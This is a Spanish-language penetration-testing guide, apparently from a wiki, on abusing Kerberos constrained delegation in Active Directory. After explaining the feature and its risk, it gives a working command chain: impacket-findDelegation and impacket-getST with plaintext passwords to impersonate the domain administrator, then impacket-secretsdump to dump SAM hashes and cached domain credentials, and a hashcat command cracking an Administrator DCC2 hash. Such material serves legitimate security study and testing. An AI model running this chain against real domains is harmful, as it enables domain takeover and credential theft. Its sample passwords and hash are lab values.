Constrained delegation

La delegación de Kerberos permite que una cuenta de servicio SPN pueda acceder a otros servicios (CIFS, MSSQL, HTTP, etc.)

Descripción

El uso práctico de la delegación de Kerberos es permitir que una aplicación acceda a los recursos alojados en un servidor diferente. Un ejemplo es cuando una aplicación, como un servidor web, necesita acceder a los recursos del sitio web alojado en otro lugar, como una base de datos SQL. En lugar de otorgar a la cuenta de servicio que ejecuta el servidor web acceso a la base de datos directamente, puede permitir que esa cuenta de servicio se delegue al servicio del servidor SQL. Una vez que un usuario inicia sesión en el sitio web, la cuenta de servicio solicitará acceso al servicio del servidor SQL en nombre de ese usuario. Esto le permite al usuario obtener acceso al contenido de la base de datos a la que se ha aprovisionado, sin tener que aprovisionar ningún acceso a la cuenta de servicio del servidor web en sí.

Riesgo

Una cuenta de usuario SPN que tenga habilitada la característica de Delegación restringida de Kerberos, puede suplantar cualquier usuario del dominio (incluido el usuario Domain Admin) y autenticarse en los servicios en los que la cuenta de usuario sea de confianza para delegar.

Si se obtiene una cuenta de usuario SPN que tenga configurada la Delegación (atributo msds-allowedtodelegateto del AD) este usuario podrá suplantar cualquier otro usuario en el servicio/equipo en el que esté configurado para la delegación. Para el servicio HOST SPN permite el control total en remoto del equipo, Para MSSQL SPN, permitiría tener los permisos de DBA. Un SPN de CIFS permitiría el acceso completo a archivos remotos. SPN HTTP probablemente permitiría la toma de control del servicio web remoto, y LDAP permite DCSync.

Ejemplo:

Se ha obtenido el usuario Aaron, que tiene habilitada la Delegación sobre el equipo DESKTOP-HD, mediante el ataque de Contrained Delegation se podrá utilizar impacket-secretsdump para suplantar el usuario Administrador del Domino y volcar las credenciales del equipo.

Características de configuración de Constrained Delegation en el Directorio Activo

A continuación, se muestra como el usuario Aaron tiene habilitada la delegación en el servicio cifs sobre el equipo DESKTOP-HDP2GMP.atlanta.corp.

Explotación

En este caso la explotación se llevará acabo desde un equipo con Kali Linux que no se encuentra en Dominio. Asumiendo que se tienen las credenciales del usuario Aaron. Usuario habilitado para Constrained Delegation.

Para identificar que usuarios tienen habilitada la Delegación se puede utilizar impacket-findDelegation

impacket-findDelegation atlanta.corp/adamb:Lae3kohng -dc-ip 10.0.0.156

Una vez se ha identificado el usuario y el equipo sobre el que el usuario tiene habilitada la Delegación se procede a obtener los Tickets de Kerberos para posteriormente suplantar al usuario administrator y conectarnos al equipo.

impacket-getST -spn "cifs/DESKTOP-HDP2GMP" -impersonate "administrator" "atlanta/aaronp:uje5Deizah6" -dc-ip 10.0.0.156

Con el anterior comando, se genera el archivo "administrator.ccache" que se utilizará para realizar la conexión kerberos al equipo haciéndonos pasar por el usuario Administrator.

Para ello, este archivo debe guardarse previamente en una variable de entorno

export KRB5CCNAME=/home/iwolf/administrator.ccache

Una vez se tiene el archivo "administrator.ccache" guardado en la variable, se utilizará en este caso impacket-secretsdump para conectarnos al equipo remoto DESKTOP-HDP2GMP y volcar los hashes de los usuarios.

Para ello, se utiliza la opción -k permite realizar la conexión kerberos a través del archivo que se encuentra en la variable.

impacket-secretsdump -k desktop-hdp2gmp  -dc-ip 10.0.0.156

Tal y como se puede observar, se pudieron obtener los hashesh de la SAM y las credenciales cacheadas de los usuarios del dominio. En este caso, se ha podido obtener el hash de la cuenta de Administrator del Dominio ya que estaba cacheada en el equipo.

Posteriormente se podrá llevar a cabo un ataque Pass The Hash o crackear los hashes

Hashcat

hashcat -m 2100 '$DCC2$10240#Administrator#baa33d1adf251a8bdf020e4deb38da93' Desktop/wordlist.txt

Last updated